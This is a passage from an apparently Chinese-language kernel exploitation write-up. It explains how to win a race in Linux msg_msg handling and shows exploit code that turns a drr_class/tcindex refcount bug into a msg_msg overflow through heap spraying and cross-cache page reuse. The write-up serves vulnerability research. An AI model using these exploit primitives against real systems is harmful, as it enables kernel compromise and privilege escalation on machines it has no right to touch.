<span class="n">list_add_tail</span><span class="p">(</span><span class="o">&</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_list</span><span class="p">,</span> <span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_receivers</span><span class="p">);</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_tsk</span> <span class="o">=</span> <span class="n">current</span><span class="p">;</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_msgtype</span> <span class="o">=</span> <span class="n">msgtyp</span><span class="p">;</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_mode</span> <span class="o">=</span> <span class="n">mode</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_NOERROR</span><span class="p">)</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_maxsize</span> <span class="o">=</span> <span class="n">INT_MAX</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_maxsize</span> <span class="o">=</span> <span class="n">bufsz</span><span class="p">;</span>
<span class="cm">/* memory barrier not require due to ipc_lock_object() */</span>
<span class="n">WRITE_ONCE</span><span class="p">(</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_msg</span><span class="p">,</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EAGAIN</span><span class="p">));</span>
<span class="cm">/* memory barrier not required, we own ipc_lock_object() */</span>
<span class="n">__set_current_state</span><span class="p">(</span><span class="n">TASK_INTERRUPTIBLE</span><span class="p">);</span>
<span class="n">ipc_unlock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span>
<span class="n">rcu_read_unlock</span><span class="p">();</span>
<span class="n">schedule</span><span class="p">();</span> <span class="c1">// [2]</span>
<span class="cm">/*
* Lockless receive, part 1:
* We don't hold a reference to the queue and getting a
* reference would defeat the idea of a lockless operation,
* thus the code relies on rcu to guarantee the existence of
* msq:
* Prior to destruction, expunge_all(-EIRDM) changes r_msg.
* Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
*/</span>
<span class="n">rcu_read_lock</span><span class="p">();</span>
<span class="cm">/*
* Lockless receive, part 2:
* The work in pipelined_send() and expunge_all():
* - Set pointer to message
* - Queue the receiver task for later wakeup
* - Wake up the process after the lock is dropped.
*
* Should the process wake up before this wakeup (due to a
* signal) it will either see the message and continue ...
*/</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">READ_ONCE</span><span class="p">(</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_msg</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msg</span> <span class="o">!=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EAGAIN</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* see MSG_BARRIER for purpose/pairing */</span>
<span class="n">smp_acquire__after_ctrl_dep</span><span class="p">();</span>
<span class="k">goto</span> <span class="n">out_unlock1</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/*
* ... or see -EAGAIN, acquire the lock to check the message
* again.
*/</span>
<span class="n">ipc_lock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">READ_ONCE</span><span class="p">(</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_msg</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msg</span> <span class="o">!=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EAGAIN</span><span class="p">))</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="n">list_del</span><span class="p">(</span><span class="o">&</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_list</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">signal_pending</span><span class="p">(</span><span class="n">current</span><span class="p">))</span> <span class="p">{</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">ERESTARTNOHAND</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">ipc_unlock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span>
<span class="p">}</span>
<span class="nl">out_unlock0:</span>
<span class="n">ipc_unlock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span>
<span class="n">wake_up_q</span><span class="p">(</span><span class="o">&</span><span class="n">wake_q</span><span class="p">);</span>
<span class="nl">out_unlock1:</span>
<span class="n">rcu_read_unlock</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">msg</span><span class="p">))</span> <span class="p">{</span>
<span class="n">free_copy</span><span class="p">(</span><span class="n">copy</span><span class="p">);</span>
<span class="k">return</span> <span class="n">PTR_ERR</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">bufsz</span> <span class="o">=</span> <span class="n">msg_handler</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">bufsz</span><span class="p">);</span>
<span class="n">free_msg</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span>
<span class="k">return</span> <span class="n">bufsz</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>纵观do_msgrcv的代码,想要扩充这个时间窗口:</p>
<ol>
<li>首先可设置IPC_NOWAIT flag [1],假如msg queue中不存在对应所需要的msg_msg则进入schedule [2],但是IPC_NOWAIT不能和MSG_COPY同时设置 [3],这条路堵死了。</li>
<li>借鉴<a href="https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf">@Jann Horn</a>的条件竞争思路,在ipc_lock_object [4]处,使用<a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msg.c#L554">msgctl_stat</a>竞争抢占该spinlock,但相关系统调用都存在进入系统调用和copy_to_user的时间消耗,总体效果不佳。</li>
<li>逐行审计代码含义,发现find_msg [5]有个有趣的循环,如果设置MSG_COPY则<a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msg.c#L1004">搜索模式</a>为SEARCH_NUMBER,即我们msg_queue中有多少个msg_msg,最多就可以循环多少次进行查找:</li>
</ol>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="nf">find_msg</span><span class="p">(</span><span class="k">struct</span> <span class="n">msg_queue</span> <span class="o">*</span><span class="n">msq</span><span class="p">,</span> <span class="kt">long</span> <span class="o">*</span><span class="n">msgtyp</span><span class="p">,</span> <span class="kt">int</span> <span class="n">mode</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="o">*</span><span class="n">found</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">list_for_each_entry</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_messages</span><span class="p">,</span> <span class="n">m_list</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">testmsg</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="o">*</span><span class="n">msgtyp</span><span class="p">,</span> <span class="n">mode</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="n">security_msg_queue_msgrcv</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">current</span><span class="p">,</span>
<span class="o">*</span><span class="n">msgtyp</span><span class="p">,</span> <span class="n">mode</span><span class="p">))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">mode</span> <span class="o">==</span> <span class="n">SEARCH_LESSEQUAL</span> <span class="o">&&</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_type</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="o">*</span><span class="n">msgtyp</span> <span class="o">=</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_type</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">found</span> <span class="o">=</span> <span class="n">msg</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">mode</span> <span class="o">==</span> <span class="n">SEARCH_NUMBER</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">msgtyp</span> <span class="o">==</span> <span class="n">count</span><span class="p">)</span>
<span class="k">return</span> <span class="n">msg</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span>
<span class="k">return</span> <span class="n">msg</span><span class="p">;</span>
<span class="n">count</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">found</span> <span class="o">?:</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EAGAIN</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>类似的,在<code class="language-plaintext highlighter-rouge">tcindex_destroy</code>中,也有一个循环去做<code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code>减1的操作:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">tcindex_destroy</span><span class="p">(</span><span class="k">struct</span> <span class="n">tcf_proto</span> <span class="o">*</span><span class="n">tp</span><span class="p">,</span> <span class="n">bool</span> <span class="n">rtnl_held</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">netlink_ext_ack</span> <span class="o">*</span><span class="n">extack</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_data</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">rtnl_dereference</span><span class="p">(</span><span class="n">tp</span><span class="o">-></span><span class="n">root</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="n">pr_debug</span><span class="p">(</span><span class="s">"tcindex_destroy(tp %p),p %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">tp</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">p</span><span class="o">-></span><span class="n">perfect</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">p</span><span class="o">-></span><span class="n">hash</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_filter_result</span> <span class="o">*</span><span class="n">r</span> <span class="o">=</span> <span class="n">p</span><span class="o">-></span><span class="n">perfect</span> <span class="o">+</span> <span class="n">i</span><span class="p">;</span>
<span class="cm">/* tcf_queue_work() does not guarantee the ordering we
* want, so we have to take this refcnt temporarily to
* ensure 'p' is freed after all tcindex_filter_result
* here. Imperfect hash does not need this, because it
* uses linked lists rather than an array.
*/</span>
<span class="n">tcindex_data_get</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="n">tcf_unbind_filter</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">res</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">tcf_exts_get_net</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">exts</span><span class="p">))</span>
<span class="n">tcf_queue_work</span><span class="p">(</span><span class="o">&</span><span class="n">r</span><span class="o">-></span><span class="n">rwork</span><span class="p">,</span>
<span class="n">tcindex_destroy_rexts_work</span><span class="p">);</span>
<span class="k">else</span>
<span class="n">__tcindex_destroy_rexts</span><span class="p">(</span><span class="n">r</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">p</span><span class="o">-></span><span class="n">h</span> <span class="o">&&</span> <span class="n">i</span> <span class="o"><</span> <span class="n">p</span><span class="o">-></span><span class="n">hash</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">tcindex_filter</span> <span class="o">*</span><span class="n">f</span><span class="p">,</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
<span class="n">bool</span> <span class="n">last</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">f</span> <span class="o">=</span> <span class="n">rtnl_dereference</span><span class="p">(</span><span class="n">p</span><span class="o">-></span><span class="n">h</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="n">f</span><span class="p">;</span> <span class="n">f</span> <span class="o">=</span> <span class="n">next</span><span class="p">)</span> <span class="p">{</span>
<span class="n">next</span> <span class="o">=</span> <span class="n">rtnl_dereference</span><span class="p">(</span><span class="n">f</span><span class="o">-></span><span class="n">next</span><span class="p">);</span>
<span class="n">tcindex_delete</span><span class="p">(</span><span class="n">tp</span><span class="p">,</span> <span class="o">&</span><span class="n">f</span><span class="o">-></span><span class="n">result</span><span class="p">,</span> <span class="o">&</span><span class="n">last</span><span class="p">,</span> <span class="n">rtnl_held</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">tcf_queue_work</span><span class="p">(</span><span class="o">&</span><span class="n">p</span><span class="o">-></span><span class="n">rwork</span><span class="p">,</span> <span class="n">tcindex_destroy_work</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>因为msg_msg的头部占0x30字节,msg_msg的内容得大于0x30才能分配到kmalloc-cg-128,如0x40的大小只需要0x41次unbind即可使<code class="language-plaintext highlighter-rouge">dst->m_ts</code>为负数,将find_msg的循环设置为0x2000甚至是更大,这样就很轻松完成该条件竞争,overflow相邻msg_msg了:</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx2.sinaimg.cn/large/ee2fecafly1hme192peuyj20oj0kkdga.jpg" alt="" /></p>
<p>其实除了时间窗口,我还需要确保循环减1的drr_class对象,正好是prepare_copy生成的msg_msg对象,基础的cross cache做完之后(下一节详解),只是一般性的<a href="https://adamdoupe.com/publications/kheaps-exploit-reliability-usenix22.pdf">堆喷</a>和FUSE的<a href="https://libfuse.github.io/doxygen/structfuse__loop__config.html#aa91fc3ebb89633f27e94d8ab510bc37e">多线程</a>来卡点都会降低利用的成功率。 借鉴<a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#method">CVE-2022-29582</a>的想法,我找到了一个精准定位的方法。</p>
<p>虽然存在<code class="language-plaintext highlighter-rouge">CONFIG_SLAB_FREELIST_RANDOM</code>,因为unbind减1就相当于m_ts减1,在减1后通过MSG_COPY的返回值即可确定这个被绑定多次的drr_class对象:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">find_cross_cache</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msgbuf</span> <span class="p">{</span>
<span class="kt">long</span> <span class="n">mtype</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">mtext</span><span class="p">[</span><span class="mh">0x40</span><span class="p">];</span>
<span class="p">}</span> <span class="n">msg</span><span class="p">;</span>
<span class="n">send_del_filter</span><span class="p">(</span><span class="mh">0x42</span><span class="p">);</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">SPRAY_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">g_qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span> <span class="o">|</span> <span class="n">MSG_COPY</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">found_cross_qid</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">found_cross_qid</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Cannot find the cross cache one :(</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Find the cross cache one is at %d msgq</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">found_cross_qid</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>因为前期的defragmentation会导致kmem_cache_cpu中还存在一定数量的free object,先将已经识别出来的这个object通过msgrcv给释放掉(挂在per cpu partial),喷1个page 的msg_msg object,减1再次识别出这个重占位的msg_msg是32个中第<code class="language-plaintext highlighter-rouge">X</code>个分配的(从0开始),再次msgrcv该对象,最后分配<code class="language-plaintext highlighter-rouge">X+1</code>个msg_msg,下一次分配的时候即可重新占位到被绑定多次的drr_class对象:</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx2.sinaimg.cn/large/ee2fecafly1hme1hghveuj20g80bvta0.jpg" alt="" /></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">find_reuse_one</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msgbuf</span> <span class="p">{</span>
<span class="kt">long</span> <span class="n">mtype</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">mtext</span><span class="p">[</span><span class="mh">0x40</span><span class="p">];</span>
<span class="p">}</span> <span class="n">msg</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">g_qid</span><span class="p">[</span><span class="n">found_cross_qid</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">errExit</span><span class="p">(</span><span class="s">"[-] msgrcv to free the cross cache one"</span><span class="p">);</span>
<span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">,</span> <span class="sc">'G'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">REUSE_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgsnd</span><span class="p">(</span><span class="n">g_reuse_qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">errExit</span><span class="p">(</span><span class="s">"[-] msgsnd to alloc msg_msg"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">send_del_filter</span><span class="p">(</span><span class="mh">0x43</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">REUSE_PAGE_NUM</span> <span class="o">*</span> <span class="n">ONEPAGE_K128_NUM</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">g_reuse_qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span> <span class="o">|</span> <span class="n">MSG_COPY</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">found_reuse_qid</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">found_reuse_qid</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Cannot find the reuse one :(</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Find the reuse one is at %d msgq</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">found_reuse_qid</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgrcv</span><span class="p">(</span><span class="n">g_reuse_qid</span><span class="p">[</span><span class="n">found_reuse_qid</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mh">0x3f</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">IPC_NOWAIT</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">errExit</span><span class="p">(</span><span class="s">"[-] msgrcv to free the reuse one"</span><span class="p">);</span>
<span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">,</span> <span class="sc">'H'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">found_reuse_qid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">msgsnd</span><span class="p">(</span><span class="n">g_reuse_qid</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">errExit</span><span class="p">(</span><span class="s">"[-] msgsnd to alloc msg_msg"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<h2>cross cache</h2>
<p>要使得kmalloc-128的drr_class转化为kmalloc-cg-128的msg_msg,自然是要做一层<a href="https://grsecurity.net/how_autoslab_changes_the_memory_unsafety_game">cross cache</a>的转换,具体思路代码可参考<a href="https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html">cache-of-castaways writeup</a>使用alloc_pg_vec去做<a href="https://etenal.me/archives/1825">堆风水</a>。先耗尽现有的kmalloc-128和kmalloc-cg-128 solt,然后堆风水分隔开order 0 page,分配drr_class,将其中一个class bind至溢出,释放所有的drr_class,最后使用msg_msg进行占位:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">drain_kmalloc_cg_128</span><span class="p">();</span>
<span class="n">drain_kmalloc_128</span><span class="p">();</span>
<span class="n">prepare_page_fengshui</span><span class="p">();</span>
<span class="n">alloc_drr_classes</span><span class="p">();</span>
<span class="n">bind_to_overflow</span><span class="p">();</span>
<span class="n">free_drr_classes</span><span class="p">();</span>
<span class="n">alloc_msg_msgs</span><span class="p">();</span>
</code></pre></div></div>
<p>这里面涉及一个问题,我要释放多少个drr_class对象,才能使相应的slab回到伙伴系统。参考<a href="http://www.wowotech.net/memory_management/426.html">图解slub</a>,只需kmem_cache_node的nr_partial大于kmem_cache的min_partial即可。对于per cpu partial上的slab迁移,取决于kmem_cache的cpu_partial的成员大小,但对于cpu_partial大小的含义,在原文中和<a href="https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-kernel-slab">官方文档</a>中解释的不一样,究竟是free object的数量,还是其上挂的page数量。</p>
<p>我最开始是在5.15.94上测试poc代码,结合之前<a href="https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/#crossing-the-cache-boundary">CVE-2022-29582</a>的writeup,以及放狗搜索的<a href="https://lore.kernel.org/linux-mm/CAG48ez2Qx5K1Cab-m8BdSibp6wLTip6ro4=-umR7BLsEgjEYzA@mail.gmail.com/T/#u">探讨</a>,之前对于cpu partial的解释确实是其上挂的page数量:</p>
<blockquote>
<p>This means that in practice, SLUB actually ends up keeping as many <strong>pages</strong> on the percpu partial lists as it intends to keep <strong>free objects</strong> there.</p>
</blockquote>
<p>后来经过<a href="https://github.com/torvalds/linux/commit/b47291ef02b0bee85ffb7efd6c336060ad1fe1a4">commit</a>的兼容修复,在6.1.72上cpu_partial则表示为free object的数量,slab迁移的边界条件则是动态计算:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">slub_set_cpu_partial</span><span class="p">(</span><span class="k">struct</span> <span class="n">kmem_cache</span> <span class="o">*</span><span class="n">s</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">nr_objects</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">nr_slabs</span><span class="p">;</span>
<span class="n">s</span><span class="o">-></span><span class="n">cpu_partial</span> <span class="o">=</span> <span class="n">nr_objects</span><span class="p">;</span>
<span class="cm">/*
* We take the number of objects but actually limit the number of
* slabs on the per cpu partial list, in order to limit excessive
* growth of the list. For simplicity we assume that the slabs will
* be half-full.
*/</span>
